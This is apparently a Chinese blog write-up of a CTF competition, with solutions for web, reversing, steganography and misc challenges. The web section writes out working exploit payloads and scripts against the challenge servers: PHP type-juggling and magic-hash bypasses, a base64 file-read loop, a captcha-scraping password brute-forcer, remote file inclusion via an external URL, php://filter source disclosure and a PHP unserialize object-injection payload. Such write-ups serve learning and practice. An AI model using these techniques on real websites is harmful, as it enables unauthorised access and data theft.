> 一个比较无语的比赛,还是记录一下解题姿势

这是一个实验吧和西普学院搞的比赛,说实话办得不太用心 题目基本都是以前CTF或者实验吧的一些原题,水份太多了,连flag都没改,直接搜到之前的wp提交就行了,这也是比赛很无语的一个地方

还是记录一下姿势

题目

类型 题目 答题链接 描述 分值
web ctf入门级题目 http://ctf1.shiyanbar.com/shian-rao/ 有源码哦! 100
曲奇 http://ctf1.shiyanbar.com/shian-quqi/ 曲奇特别好吃!!! 225
类型 http://ctf1.shiyanbar.com/shian-leixing/ php有好多类型啊 200
登录 http://ctf1.shiyanbar.com/shian-s/ 有提示 150
admin http://ctf1.shiyanbar.com/shian-du/ you are not admin! 250
逆向 console http://ctf1.shiyanbar.com/shian-file/console.rar 好像是微软的语言吧。 200
getflag http://ctf1.shiyanbar.com/shian-file/get_flag.rar 算法其实特别简答,但是好像无法静态啊!啊!啊! 225
bin http://ctf1.shiyanbar.com/shian-file/re.rar linux可执行程序逆向一则。 300
动态暴力破解 http://ctf1.shiyanbar.com/shian-file/baopo.rar 下断点,然后手工暴力破解 275
android http://ctf1.shiyanbar.com/shian-file/android.rar apk的逆向 250
简单算法 http://ctf1.shiyanbar.com/shian-file/hackme.rar 一个简单的算法而已。 200
隐写 low http://ctf1.shiyanbar.com/shian-file/low.rar low low check out! 250
斑马斑马 http://ctf1.shiyanbar.com/shian-file/banmabanma.rar 斑马斑马,你不要睡着啦,再给我看看你受伤的尾巴,我不想去触碰你伤口的疤,我只想掀起你的头发。 125
CreateByWho http://ctf1.shiyanbar.com/shian-file/CreateByWho.rar 零碎的二维码,好像还缺少几块!!! 200
适合作为桌面的图片 http://ctf1.shiyanbar.com/shian-file/desktop.rar 让你的才思迸发出来吧!! 150
杂项 reverseMe http://ctf1.shiyanbar.com/shian-file/reverseMe.rar 这是一个什么文件呢? 150
珍妮的qq号 http://ctf1.shiyanbar.com/shian-file/zhenni.rar 珍妮的QQ是一个靓号哦 100
心仪的公司 http://ctf1.shiyanbar.com/shian-file/webshell.rar 小黑在拿到webshell后,马上就获得了自己心仪公司的照片 150
密码学 des http://ctf1.shiyanbar.com/shian-file/decode.rar DES加密算法!! 400
rsa http://ctf1.shiyanbar.com/shian-file/rsa.rar rsa 300

Web整体比较简单 ## Web #### ctf入门级题目 直接给出源码

<?php
$flag = '*********';
if (isset ($_GET['password'])) {
    if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
        echo '<p class="alert">You password must be alphanumeric</p>';
    else if (strpos ($_GET['password'], '--') !== FALSE)
        die($flag);
    else
        echo '<p class="alert">Invalid password</p>';
}
?>

分析: 题目的意思是既让你输入a-zA-Z0-9的数字字母又叫你输入包含--字符的password ,逻辑上显然是不通的,所以我们需要的是绕过ereg和strpos。 用数组传递就能满足条件了 ereg无法处理数组,当$__GET['password']为数组的时候会返回FALSE,而strpos找不到--也会返回FALSE 故传一个数组即可满足条件

flag{Maybe_using_rexpexp_wasnt_a_clever_move}

曲奇

进去就是一个看起来提示性很强的url

http://ctf1.shiyanbar.com/shian-quqi/index.php?line=&file=a2V5LnR4dA==

a2V5LnR4dA==base64 decode得key.txt 顺理成章地想到文件读取 尝试访问http://ctf1.shiyanbar.com/shian-quqi/key.txt 成功访问到相同内容 且line这个参数经过测试应该是读取第几行的内容的作用 故写了几行Python读取源码

import requests
url =  "http://ctf1.shiyanbar.com/shian-quqi/index.php?line={}&file=aW5kZXgucGhw"
for i in xrange(100):
    print requests.get(url.format(i,)).text,

得到源码

<?php
error_reporting(0);
$file=base64_decode(isset($_GET['file'])?$_GET['file']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&file=a2V5LnR4dA==");
$file_list = array(
'0' =>'key.txt',
'1' =>'index.php',
);
 
if(isset($_COOKIE['key']) && $_COOKIE['key']=='li_lr_480'){
$file_list[2]='thisis_flag.php';
}
 
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>

思路很简单,直接用burp改个cookie就好了

flag{UHGgd3rfH*(3HFhuiEIWF}

类型

直接是源码

 <?php
show_source(__FILE__);
$a=0;
$b=0;
$c=0;
$d=0;
if (isset($_GET['x1']))
{
        $x1 = $_GET['x1'];
        $x1=="1"?die("ha?"):NULL;
        switch ($x1)
        {
        case 0:
        case 1:
                $a=1;
                break;
        }
}
$x2=(array)json_decode(@$_GET['x2']);
if(is_array($x2)){
    is_numeric(@$x2["x21"])?die("ha?"):NULL;
    if(@$x2["x21"]){
        ($x2["x21"]>2017)?$b=1:NULL;
    }
    if(is_array(@$x2["x22"])){
        if(count($x2["x22"])!==2 OR !is_array($x2["x22"][0])) die("ha?");
        $p = array_search("XIPU", $x2["x22"]);
        $p===false?die("ha?"):NULL;
        foreach($x2["x22"] as $key=>$val){
            $val==="XIPU"?die("ha?"):NULL;
        }
        $c=1;
}
}
$x3 = $_GET['x3'];
if ($x3 != '15562') {
    if (strstr($x3, 'XIPU')) {
        if (substr(md5($x3),8,16) == substr(md5('15562'),8,16)) {
            $d=1;
        }
    }
}
if($a && $b && $c && $d){
    include "flag.php";
    echo $flag;
}
?> 

看来是要过关斩将了

一步一步来 先看第一关

if (isset($_GET['x1']))
{
        $x1 = $_GET['x1'];
        $x1=="1"?die("ha?"):NULL;
        switch ($x1)
        {
        case 0:
        case 1:
                $a=1;
                break;
        }
}

x1 不能是 1 但是又要 case 1 直接用不是数字来就好了,普通字母就能绕过了 为了加深理解,本地搭建了一下

if (isset($_GET['x1']))
{
    $x1 =@ $_GET['x1'];
    $x1=="1"?die("ha?"):NULL;
    switch ($x1)
    {
        case 0:
            echo "= =0";
        case 1:
            echo "= =!";
        case 2:
            echo "= =2!";
    }
}

输入x1为不是数字的就能过

然后是第二关:

$x2=(array)json_decode(@$_GET['x2']);
if(is_array($x2)){
    is_numeric(@$x2["x21"])?die("ha?"):NULL;
    if(@$x2["x21"]){
        ($x2["x21"]>2017)?$b=1:NULL;
    }
    if(is_array(@$x2["x22"])){
        if(count($x2["x22"])!==2 OR !is_array($x2["x22"][0])) die("ha?");
        $p = array_search("XIPU", $x2["x22"]);
        $p===false?die("ha?"):NULL;
        foreach($x2["x22"] as $key=>$val){
            $val==="XIPU"?die("ha?"):NULL;
        }
        $c=1;
}
}

$x2是个要被解释成数组的变量

 is_numeric(@$x2["x21"])?die("ha?"):NULL;
    if(@$x2["x21"]){
        ($x2["x21"]>2017)?$b=1:NULL;
    }

然后$x2[x21]不能是数字且要大于2017 那么php的弱类型比较就派上用场了,直接用让$x2[x21]=9999是是是 然后php会在比较的时候将其转化为数字9999

 if(is_array(@$x2["x22"])){
        if(count($x2["x22"])!==2 OR !is_array($x2["x22"][0])) die("ha?");
        $p = array_search("XIPU", $x2["x22"]);
        $p===false?die("ha?"):NULL;
        foreach($x2["x22"] as $key=>$val){
            $val==="XIPU"?die("ha?"):NULL;
        }
        $c=1;
}

接下来$x2[x22]必须是个数组,且包含两个元素且第一个是数组 然后array_search("XIPU", $x2["x22"])for循环遍历要求$x2[x22]数组要有'XIPU'而且for循环又要求不能有'XIPU' 我们可以让$x2[x22]的第二个元素为0,跟$x2[x21]同理,也是弱类型比较,就会让array_search("XIPU", $x2["x22"])为真且满足for循环 故$x2[x22]=[[6],0]

第三关

$x3 = $_GET['x3'];
if ($x3 != '15562') {
    if (strstr($x3, 'XIPU')) {
        if (substr(md5($x3),8,16) == substr(md5('15562'),8,16)) {
            $d=1;
        }
    }
}

要求$x3不能是"15562"且包含"XIPU"字符且substr(md5($x3),8,16) == substr(md5('15562'),8,16

直接MD5碰撞就好

import hashlib
flag =1
for i in xrange(10,99999):
    md5_1 = hashlib.md5("XIPU"+str(i).zfill(6))
    md5_2 = md5_1.hexdigest()
    if md5_2[8:10] == "0e" :
        for t in md5_2[10:24]:
            if t.isalpha():
                flag=0
                break
        if flag:
            print md5_2
            print "XIPU"+str(i).zfill(6)
            break
    flag=1

输出结果为

2d3f55900e724039009658983fe76971
XIPU074428

为什么这么构造呢? 因为PHP的特性,使用==这个比较的时候会出现各种类型转换 我们观察到字符串15562MD5值的8-24位为0e46379442318098 当我们以这样的形式比较 ```php <?php if ("0e12"=="0e72356723") echo "E"; else echo "NE";?> ``` 输出是E因为当字符串为xexxxxx,其中x为数字时,php会将字符串转换成科学计数法,即0e12转化为0x10^12结果还是0,右边的0e72356723同理。所以会相等 所以我们只需要构造一个MD5的8-24位形式为0e[0-9]{16}且包含字符串XIPU的字符串就好了 脚本跑出的字符串XIPU074428的MD5值是2d3f55900e724039009658983fe76971,其8-24位是0e72403900965898`,正好符合条件 所以最终的payload为

http://ctf1.shiyanbar.com/shian-leixing/
?x1=是是是
&x2={"x21":"2018是是是","x22":[[1],0],"c":3,"d":4,"e":5}
&x3=XIPU074428

CTF{Php_1s_bstl4_1a}

登录

进去是个登录页面,有验证码 看源码,发现最底下

思路也比较简单,爆破就是了 Python脚本如下

import requests,re
url =  "http://ctf1.shiyanbar.com/shian-s/"
url1 = "http://ctf1.shiyanbar.com/shian-s/index.php?username=admin&password={}&randcode={}"
cookie = {"PHPSESSID":"is53k685uppq82vfb30lfdsfg7"}

for  i in xrange(99999):
    Vcode = re.findall("type=\"text\"><br><br>(.*?)<br><br>",requests.get(url,cookies=cookie).text)[0]
    print "Now processing password: ",str(i).zfill(5)
    result = requests.get(url1.format(str(i).zfill(5),Vcode),cookies=cookie)
    result.encoding = "utf-8"
    if len(result.text)!=146:
        print result.text
        break

唯一的坑点就是要在cookie加上PHPSESSID 最后爆破到密码就是00325

flag{U1tkOdgutaVWucdy2AbDWXPGkDx9bS2a} #### admin 进去就提示you are not admin ! 按照这个比赛的套路,直接看源码

you are not admin ! 

$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];

if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){
    echo "hello admin!<br>";
    include($file); //class.php
}else{
    echo "you are not admin ! ";
}

file_get_content是可以获取外部的资源的,当然,php.ini允许的时候才可以 故直接在我的vps上直接放了个t.txt,里面就是the user is admin 然后就绕过了第一个判断

http://ctf1.shiyanbar.com/shian-du/?user=https://wzsite.cn/static/t.txt

当然你也可以这样 用php伪协议来绕过

当时我用的就是方法一

然后include了一个$file,我们可以用 php://filter伪协议来includeclass.php进来 (为什么要看class.php? 因为源码提示啊= =) 然后得到

hello admin!
PD9waHANCg0KY2xhc3MgUmVhZHsvL2YxYTkucGhwDQogICAgcHVibGljICRmaWxlOw0KICAgIHB1YmxpYyBmdW5jdGlvbiBfX3RvU3RyaW5nKCl7DQogICAgICAgIGlmKGlzc2V0KCR0aGlzLT5maWxlKSl7DQogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgICAgDQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuICJfX3RvU3RyaW5nIHdhcyBjYWxsZWQhIjsNCiAgICB9DQp9DQo/

base64解码得到class.php的源码

<?php

class Read{//f1a9.php
    public $file;
    public function __toString(){
        if(isset($this->file)){
            echo file_get_contents($this->file);    
        }
        return "__toString was called!";
    }
}
?>

看不出引用干嘛,可能是index.php的源码不全 再次获取index.php的源码

<?php
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];

if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){
    echo "hello admin!<br>";
    if(preg_match("/f1a9/",$file)){
        exit();
    }else{
        include($file); //class.php
        $pass = unserialize($pass);
        echo $pass;
    }
}else{
    echo "you are not admin ! ";
}

?>

<!--
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];

if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){
    echo "hello admin!<br>";
    include($file); //class.php
}else{
    echo "you are not admin ! ";
}
 -->

果然留有后手 意思是叫咱们按照规则让echo $pass运行然后调用Read类的__ToString()魔术方法 由$pass = unserialize($pass); echo $pass; 然后我们需要现将$pass序列化 故本地写个php(当然= =也许大佬们都是直接拼出来的)

<?php
class Read{//f1a9.php
    public $file;
    public function __toString(){
        if(isset($this->file)){
            echo file_get_contents($this->file);
        }
        return "__toString was called!";
    }
}
$a = new Read();
$a->file = "f1a9.php";
echo serialize($a);

?>

得到O:4:"Read":1:{s:4:"file";s:8:"f1a9.php";} 故最后payload为 http://ctf1.shiyanbar.com/shian-du/?user=https://wzsite.cn/static/t.txt&file=class.php&pass=O:4:"Read":1:{s:4:"file";s:8:"f1a9.php";}

flag_Xd{hSh_ctf:e@syt0g3t}

逆向

console

丢查壳工具查看,发现是个.NET的程序,直接丢reflector反编译 发现关键源码

private static void MAIN(string[] A_0)
{
    string str2 = null;
    DateTime now = DateTime.Now;
    string str3 = string.Format("{0}", now.Hour + 1);
    string str4 = "CreateByTenshine";
    FUN1(str4, Convert.ToInt32(str3), ref str2);
    if (Console.ReadLine() == str2)
    {
        Console.WriteLine("u got it!");
        Console.ReadKey(true);
    }
    else
    {
        Console.Write("wrong");
    }
    Console.ReadKey(true);
}
private static void FUN1(string A_0, int A_1, ref string A_2)
{
    int num = 0;
    if (0 < A_0.Length)
    {
        do
        {
            char ch = A_0[num];
            int num2 = 1;
            do
            {
                ch = Convert.ToChar(FUN2(Convert.ToInt32(ch), num2));
                num2++;
            }
            while (num2 < 15);
            A_2 = A_2 + ch;
            num++;
        }
        while (num < A_0.Length);
    }
    A_2 = FUN2(A_2);
}
private static int FUN2(int A_0, int A_1)
{
    return (new int[] { 
        2, 3, 5, 7, 11, 13, 0x11, 0x13, 0x17, 0x1d, 0x1f, 0x25, 0x29, 0x2b, 0x2f, 0x35,
        0x3b, 0x3d, 0x43, 0x47, 0x49, 0x4f, 0x53, 0x59, 0x61, 0x65, 0x67, 0x6b, 0x6d, 0x71
    }[A_1] ^ A_0);
}

简单地写个python就可以逆向出来了

import  hashlib
l = [ 2, 3, 5, 7, 11, 13, 17, 0x13, 0x17, 0x1d, 0x1f, 0x25, 0x29, 0x2b, 0x2f, 53, 0x3b, 0x3d, 0x43, 0x47, 0x49, 0x4f, 0x53, 0x59, 0x61, 0x65, 0x67, 0x6b, 0x6d, 113]
str = "CreateByTenshine"
re = ""
for j in str:
    num = ord(j)
    for i in range(1,15):
        num = l[i]^num
    re+= chr(num)
print re
md5 = hashlib.md5(re)
print "flag{"+md5.hexdigest().upper()+"}"

flag{967DDDFBCD32C1F53527C221D9E40A0B}

其他逆向是队友写的,还有的没做,逆向先更新到这

隐写

low

提示就是low,那必定是LSB最低有效为位隐写了 直接用Stegsolve打开发现找不到 最后才发现是实验吧的原题,原来是Stegsolve处理bmp的缺陷,将图片另存为png之后再用Stegsolve打开找就能找到了

然后发现手机扫描没反应 才意识到是反色了 把二维码截取下来,直接丢到任何可编辑的地方,比如QQ,word,然后直接鼠标拖动覆盖选择图片一下就直接反色了,然后就扫描就可以得到flag了

flag{139711e8e9ed545e}

斑马斑马

= =脑洞题,不想解释 斑马身上是个条形码,直接扫描就好了 在线扫描条形码网站:https://online-barcode-reader.inliteresearch.com/

CreateByWho

是一个零碎的二维码图片 之前百度杯也有类似的题,不过这个二维码是缺少了几部分的 没写出来 看别人的wp是把缺的三个角的方块自己补全然后扫描

脑洞也是略大

适合作为桌面的图片

很简单的隐写题 首先把图片用Stegsolve进行LSB隐写查找,找到如下二维码

扫描之后得到一串十六进制数

03F30D0A79CB05586300000000000000000100000040000000730D0000006400008400005A000064010053280200000063000000000300000016000000430000007378000000640100640200640300640400640500640600640700640300640800640900640A00640600640B00640A00640700640800640C00640C00640D00640E00640900640F006716007D00006410007D0100781E007C0000445D16007D02007C01007400007C0200830100377D0100715500577C010047486400005328110000004E6966000000696C00000069610000006967000000697B000000693300000069380000006935000000693700000069300000006932000000693400000069310000006965000000697D000000740000000028010000007403000000636872280300000074030000007374727404000000666C6167740100000069280000000028000000007304000000312E7079520300000001000000730A0000000001480106010D0114014E280100000052030000002800000000280000000028000000007304000000312E707974080000003C6D6F64756C653E010000007300000000

把所有的十六进制字符用winhex新建一个文件 发现文件末尾出现了1.py的字符

目测是pyc逆向 丢到在线pyc逆向网站http://tool.lu/pyc/ 逆向得

def flag():
    str = [102,108,97,103,123,51,56,97,53,55,48,51,50,48,56,53,52,52,49,101,55,125]
    flag = ''
    for i in str:
        flag += chr(i)
    print flag

运行一下即可获得flag flag{38a57032085441e7}

Misc

ReverseMe

拿到文件发现打不开,用winhex查看发现是一个倒过来的图片文件

直接用python逐个反过来就好了

f = open(r"C:\Users\windows8.Windows\Desktop\reverseMe\reverseMe","rb")
f_1 = open(r"C:\Users\windows8.Windows\Desktop\reverseMe_R","wb")
f_1.write(f.read()[::-1])
f.close()
f_1.close()

然后用画图查看,发现是这个样子

翻转一下就好了

flag{4f7548f93c7bef1dc6a0542cf04e796e}

珍妮的qq号

不解释

珍妮换了一个新的QQ号码,原来的号码和新的号码都是5位靓号哦;其次,新的号码是原来号码的4倍,并且原来的号码倒着写正好是新的号码,请问,新号码是多少,新号码即为key。
for i in xrange(1,99999):
    if str(i).zfill(5)== str(4*i).zfill(5)[::-1]:
        print 4*i
        break

87912

webshell

分析数据包的题 提示是小黑在拿到webshell后,马上就获得了自己心仪公司的照片 猜测就是找http包然后分析包含照片的信息 用wireshark打开包,过滤出http协议的包,不一会就能找到图片中的flag

fl4g:{ftop_Is_Waiting_4_y}

总结

先让我吐槽一下――辣鸡比赛 这是一个不尊重参赛者的比赛 连flag也不改,题目都是原题,选择题宕机最后半小时又开启说要算分(当时我直接无视了),以及决赛还要自带干粮(这个不能忍!) 所以是果断地拒绝了参加决赛,纯当练手了

感悟:

  • 少参加类似的技术含量低的比赛(除非实在闲得慌)
  • 逆向要加强,汇编、动态调试、加花混淆、防动调等
  • 多运动,做一天的题,累得慌

感谢阅读